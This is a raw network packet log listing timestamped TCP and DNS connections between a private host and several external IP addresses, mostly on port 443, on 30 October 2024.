Oct 30, 2024 04:34:27.947572947 CET	53	50915	1.1.1.1	192.168.2.6
Oct 30, 2024 04:34:27.947673082 CET	50915	53	192.168.2.6	1.1.1.1
Oct 30, 2024 04:34:27.953063011 CET	53	50915	1.1.1.1	192.168.2.6
Oct 30, 2024 04:34:27.956895113 CET	443	49813	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.957330942 CET	49813	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:27.957343102 CET	443	49813	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:27.957865000 CET	49813	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:27.957870007 CET	443	49813	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.023112059 CET	443	49812	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.023256063 CET	443	49812	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.023339033 CET	49812	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:28.023684978 CET	49812	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:28.023684978 CET	49812	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:28.023701906 CET	443	49812	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.023711920 CET	443	49812	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.028347015 CET	50916	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:28.028377056 CET	443	50916	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.028486967 CET	50916	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:28.028959990 CET	50916	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:28.028975964 CET	443	50916	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.086035967 CET	443	49813	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.086224079 CET	443	49813	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.086283922 CET	49813	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:28.086479902 CET	49813	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:28.086489916 CET	443	49813	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.086498976 CET	49813	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:28.086503029 CET	443	49813	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.093358994 CET	50917	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:28.093378067 CET	443	50917	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.093652010 CET	50917	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:28.094372034 CET	50917	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:28.094382048 CET	443	50917	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.134907961 CET	443	49814	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.135525942 CET	49814	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:28.135535955 CET	443	49814	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.136110067 CET	49814	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:28.136116028 CET	443	49814	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.209681988 CET	443	49815	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.245359898 CET	49815	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:28.245378017 CET	443	49815	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.245929956 CET	49815	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:28.245934963 CET	443	49815	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.267772913 CET	443	49814	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.267918110 CET	443	49814	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.267982006 CET	49814	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:28.287481070 CET	49814	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:28.287481070 CET	49814	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:28.287516117 CET	443	49814	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.287528038 CET	443	49814	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.295264959 CET	443	49816	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.339921951 CET	49816	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:28.344666004 CET	49816	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:28.344697952 CET	443	49816	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.345218897 CET	49816	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:28.345237970 CET	443	49816	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.353240013 CET	50918	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:28.353276968 CET	443	50918	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.353336096 CET	50918	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:28.353775978 CET	50918	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:28.353791952 CET	443	50918	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.379260063 CET	443	49815	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.379342079 CET	443	49815	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.379431009 CET	49815	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:28.379693031 CET	49815	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:28.379698992 CET	443	49815	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.379708052 CET	49815	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:28.379710913 CET	443	49815	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.384401083 CET	50919	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:28.384409904 CET	443	50919	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.384526968 CET	50919	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:28.385443926 CET	50919	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:28.385453939 CET	443	50919	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.469429016 CET	443	49816	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.469615936 CET	443	49816	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.469671965 CET	49816	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:28.508074999 CET	49816	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:28.508074999 CET	49816	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:28.508127928 CET	443	49816	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.508155107 CET	443	49816	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.527272940 CET	50920	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:28.527292013 CET	443	50920	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.527345896 CET	50920	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:28.573745966 CET	50920	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:28.573759079 CET	443	50920	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.581851959 CET	50915	53	192.168.2.6	1.1.1.1
Oct 30, 2024 04:34:28.587543964 CET	53	50915	1.1.1.1	192.168.2.6
Oct 30, 2024 04:34:28.587618113 CET	50915	53	192.168.2.6	1.1.1.1
Oct 30, 2024 04:34:28.753042936 CET	443	50916	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.754600048 CET	50916	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:28.754621983 CET	443	50916	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.756416082 CET	50916	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:28.756422043 CET	443	50916	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.864537001 CET	443	50917	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.881755114 CET	443	50916	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.881772995 CET	443	50916	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.881858110 CET	50916	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:28.881872892 CET	443	50916	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.881885052 CET	443	50916	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:28.881921053 CET	50916	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:28.918030024 CET	50917	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:29.027384043 CET	50917	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:29.027391911 CET	443	50917	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:29.027905941 CET	50917	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:29.027909994 CET	443	50917	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:29.030257940 CET	50916	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:29.030257940 CET	50916	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:29.030277014 CET	443	50916	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:29.030286074 CET	443	50916	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:29.075383902 CET	443	50918	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:29.102330923 CET	50921	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:29.102355003 CET	443	50921	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:29.102523088 CET	50921	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:29.103112936 CET	50918	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:29.103135109 CET	443	50918	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:29.103638887 CET	50918	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:29.103650093 CET	443	50918	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:29.119108915 CET	443	50919	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:29.121865988 CET	50919	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:29.121881962 CET	443	50919	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:29.122298002 CET	50919	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:29.122302055 CET	443	50919	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:29.132297039 CET	50921	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:29.132314920 CET	443	50921	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:29.158993959 CET	443	50917	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:29.159147024 CET	443	50917	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:29.159883976 CET	50917	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:29.225883007 CET	50917	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:29.225887060 CET	443	50917	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:29.225907087 CET	50917	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:29.225909948 CET	443	50917	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:29.227087975 CET	443	50918	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:29.227149963 CET	443	50918	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:29.227252960 CET	50918	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:29.244731903 CET	50918	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:29.244745970 CET	443	50918	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:29.244790077 CET	50918	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:29.244797945 CET	443	50918	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:29.253768921 CET	443	50919	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:29.253796101 CET	443	50919	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:29.253858089 CET	443	50919	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:29.253865957 CET	50919	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:29.253901005 CET	50919	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:29.312860012 CET	443	50920	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:29.355524063 CET	50920	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:29.446203947 CET	50919	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:29.446213007 CET	443	50919	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:29.453711987 CET	50920	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:29.453716993 CET	443	50920	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:29.454235077 CET	50920	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:29.454240084 CET	443	50920	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:29.464322090 CET	50922	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:29.464335918 CET	443	50922	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:29.464394093 CET	50922	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:29.464726925 CET	50922	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:29.464735985 CET	443	50922	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:29.484529018 CET	50923	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:29.484553099 CET	443	50923	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:29.484631062 CET	50923	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:29.542946100 CET	50924	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:29.543067932 CET	443	50924	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:29.543147087 CET	50924	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:29.550668955 CET	50923	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:29.550688028 CET	443	50923	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:29.581670046 CET	443	50920	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:29.581701994 CET	443	50920	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:29.581758022 CET	50920	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:29.581765890 CET	443	50920	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:29.581820965 CET	50920	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:29.609833956 CET	50924	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:29.609882116 CET	443	50924	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:29.723280907 CET	50920	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:29.723289013 CET	443	50920	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:29.873106956 CET	443	50921	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:29.943329096 CET	50921	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:29.943342924 CET	443	50921	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:29.945008993 CET	50921	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:29.945018053 CET	443	50921	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:30.073792934 CET	443	50921	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:30.073879004 CET	443	50921	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:30.073944092 CET	50921	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:30.073959112 CET	443	50921	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:30.074600935 CET	443	50921	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:30.074668884 CET	50921	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:30.086117983 CET	50927	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:30.086155891 CET	443	50927	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:30.087877035 CET	50927	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:30.117078066 CET	50921	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:30.117096901 CET	443	50921	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:30.117110014 CET	50921	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:30.117115021 CET	443	50921	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:30.119281054 CET	50927	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:30.119335890 CET	443	50927	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:30.143258095 CET	50928	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:30.143276930 CET	443	50928	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:30.143378973 CET	50928	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:30.143737078 CET	50928	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:30.143754959 CET	443	50928	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:30.190097094 CET	50933	443	192.168.2.6	94.245.104.56
Oct 30, 2024 04:34:30.190112114 CET	443	50933	94.245.104.56	192.168.2.6
Oct 30, 2024 04:34:30.190371990 CET	50933	443	192.168.2.6	94.245.104.56
Oct 30, 2024 04:34:30.190603971 CET	50933	443	192.168.2.6	94.245.104.56
Oct 30, 2024 04:34:30.190614939 CET	443	50933	94.245.104.56	192.168.2.6
Oct 30, 2024 04:34:30.206257105 CET	443	50922	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:30.246562958 CET	50922	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:30.283117056 CET	443	50923	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:30.291408062 CET	50922	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:30.291412115 CET	443	50922	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:30.292033911 CET	50922	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:30.292037010 CET	443	50922	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:30.346811056 CET	50923	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:30.346831083 CET	443	50923	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:30.347323895 CET	50923	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:30.347331047 CET	443	50923	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:30.347426891 CET	443	50924	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:30.347987890 CET	50924	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:30.348026037 CET	443	50924	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:30.348661900 CET	50924	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:30.348673105 CET	443	50924	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:30.419589043 CET	443	50922	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:30.419635057 CET	443	50922	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:30.419732094 CET	50922	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:30.472196102 CET	443	50923	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:30.472337008 CET	443	50923	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:30.472408056 CET	50923	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:30.477006912 CET	443	50924	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:30.477185965 CET	443	50924	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:30.477258921 CET	50924	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:30.788376093 CET	50922	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:30.788388014 CET	443	50922	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:30.790453911 CET	50934	443	192.168.2.6	40.115.3.253
Oct 30, 2024 04:34:30.790498018 CET	443	50934	40.115.3.253	192.168.2.6
Oct 30, 2024 04:34:30.790565968 CET	50934	443	192.168.2.6	40.115.3.253
Oct 30, 2024 04:34:30.791328907 CET	50934	443	192.168.2.6	40.115.3.253
Oct 30, 2024 04:34:30.791340113 CET	443	50934	40.115.3.253	192.168.2.6
Oct 30, 2024 04:34:30.848262072 CET	50923	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:30.848278999 CET	443	50923	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:30.848289013 CET	50923	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:30.848294020 CET	443	50923	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:30.858036995 CET	443	50927	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:30.859523058 CET	50924	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:30.859550953 CET	443	50924	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:30.859581947 CET	50924	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:30.859599113 CET	443	50924	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:30.869306087 CET	443	50928	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:30.890743017 CET	50928	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:30.890763998 CET	443	50928	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:30.891346931 CET	50928	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:30.891352892 CET	443	50928	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:30.931721926 CET	50927	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:30.931730986 CET	443	50927	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:30.932430983 CET	50927	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:30.932435989 CET	443	50927	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:31.015209913 CET	443	50928	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:31.015571117 CET	443	50928	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:31.015628099 CET	50928	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:31.063447952 CET	443	50927	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:31.063514948 CET	443	50927	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:31.063565016 CET	50927	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:31.073388100 CET	50928	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:31.073395967 CET	443	50928	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:31.073405027 CET	50928	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:31.073409081 CET	443	50928	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:31.132019043 CET	50935	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:31.132085085 CET	443	50935	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:31.132160902 CET	50935	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:31.142919064 CET	50927	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:31.142919064 CET	50927	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:31.142937899 CET	443	50927	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:31.142946959 CET	443	50927	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:31.202723026 CET	50935	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:31.202753067 CET	443	50935	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:31.298631907 CET	443	50933	94.245.104.56	192.168.2.6
Oct 30, 2024 04:34:31.299115896 CET	50933	443	192.168.2.6	94.245.104.56
Oct 30, 2024 04:34:31.299127102 CET	443	50933	94.245.104.56	192.168.2.6
Oct 30, 2024 04:34:31.300208092 CET	443	50933	94.245.104.56	192.168.2.6
Oct 30, 2024 04:34:31.300268888 CET	50933	443	192.168.2.6	94.245.104.56
Oct 30, 2024 04:34:31.301378012 CET	50933	443	192.168.2.6	94.245.104.56
Oct 30, 2024 04:34:31.301444054 CET	443	50933	94.245.104.56	192.168.2.6
Oct 30, 2024 04:34:31.301584959 CET	50933	443	192.168.2.6	94.245.104.56
Oct 30, 2024 04:34:31.301592112 CET	443	50933	94.245.104.56	192.168.2.6
Oct 30, 2024 04:34:31.438148975 CET	50933	443	192.168.2.6	94.245.104.56
Oct 30, 2024 04:34:31.448268890 CET	50938	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:31.448290110 CET	443	50938	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:31.448352098 CET	50938	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:31.545360088 CET	443	50933	94.245.104.56	192.168.2.6
Oct 30, 2024 04:34:31.656662941 CET	49707	443	192.168.2.6	40.126.32.72
Oct 30, 2024 04:34:31.656810045 CET	443	50933	94.245.104.56	192.168.2.6
Oct 30, 2024 04:34:31.656840086 CET	49707	443	192.168.2.6	40.126.32.72
Oct 30, 2024 04:34:31.656904936 CET	50933	443	192.168.2.6	94.245.104.56
Oct 30, 2024 04:34:31.657890081 CET	50938	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:31.657908916 CET	443	50938	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:31.661959887 CET	443	49707	40.126.32.72	192.168.2.6
Oct 30, 2024 04:34:31.662374973 CET	443	49707	40.126.32.72	192.168.2.6
Oct 30, 2024 04:34:31.662389040 CET	443	49707	40.126.32.72	192.168.2.6
Oct 30, 2024 04:34:31.662437916 CET	443	49707	40.126.32.72	192.168.2.6
Oct 30, 2024 04:34:31.662451982 CET	443	49707	40.126.32.72	192.168.2.6
Oct 30, 2024 04:34:31.699723005 CET	50939	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:31.699770927 CET	443	50939	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:31.699841976 CET	50939	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:31.876604080 CET	50940	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:31.876635075 CET	443	50940	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:31.876703024 CET	50940	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:31.909317017 CET	443	50934	40.115.3.253	192.168.2.6
Oct 30, 2024 04:34:31.909431934 CET	50934	443	192.168.2.6	40.115.3.253
Oct 30, 2024 04:34:31.915033102 CET	50934	443	192.168.2.6	40.115.3.253
Oct 30, 2024 04:34:31.915041924 CET	443	50934	40.115.3.253	192.168.2.6
Oct 30, 2024 04:34:31.915852070 CET	443	50934	40.115.3.253	192.168.2.6
Oct 30, 2024 04:34:31.964781046 CET	50934	443	192.168.2.6	40.115.3.253
Oct 30, 2024 04:34:31.976567984 CET	50939	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:31.976597071 CET	443	50939	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:32.010236979 CET	50940	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:32.010267973 CET	443	50940	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:32.010757923 CET	443	49707	40.126.32.72	192.168.2.6
Oct 30, 2024 04:34:32.010772943 CET	443	49707	40.126.32.72	192.168.2.6
Oct 30, 2024 04:34:32.010783911 CET	443	49707	40.126.32.72	192.168.2.6
Oct 30, 2024 04:34:32.010839939 CET	49707	443	192.168.2.6	40.126.32.72
Oct 30, 2024 04:34:32.010936975 CET	443	49707	40.126.32.72	192.168.2.6
Oct 30, 2024 04:34:32.010962009 CET	443	49707	40.126.32.72	192.168.2.6
Oct 30, 2024 04:34:32.010976076 CET	443	49707	40.126.32.72	192.168.2.6
Oct 30, 2024 04:34:32.011002064 CET	49707	443	192.168.2.6	40.126.32.72
Oct 30, 2024 04:34:32.011013031 CET	443	49707	40.126.32.72	192.168.2.6
Oct 30, 2024 04:34:32.011025906 CET	443	49707	40.126.32.72	192.168.2.6
Oct 30, 2024 04:34:32.011039019 CET	49707	443	192.168.2.6	40.126.32.72
Oct 30, 2024 04:34:32.011076927 CET	49707	443	192.168.2.6	40.126.32.72
Oct 30, 2024 04:34:32.011763096 CET	443	49707	40.126.32.72	192.168.2.6
Oct 30, 2024 04:34:32.011787891 CET	443	49707	40.126.32.72	192.168.2.6
Oct 30, 2024 04:34:32.011830091 CET	49707	443	192.168.2.6	40.126.32.72
Oct 30, 2024 04:34:32.028902054 CET	443	50935	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:32.056026936 CET	50935	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:32.056050062 CET	443	50935	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:32.057001114 CET	50935	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:32.057008982 CET	443	50935	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:32.073285103 CET	50933	443	192.168.2.6	94.245.104.56
Oct 30, 2024 04:34:32.073296070 CET	443	50933	94.245.104.56	192.168.2.6
Oct 30, 2024 04:34:32.084523916 CET	50943	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:32.084558010 CET	443	50943	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:32.084870100 CET	50943	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:32.185484886 CET	443	50935	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:32.185628891 CET	443	50935	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:32.185702085 CET	50935	443	192.168.2.6	13.107.246.45
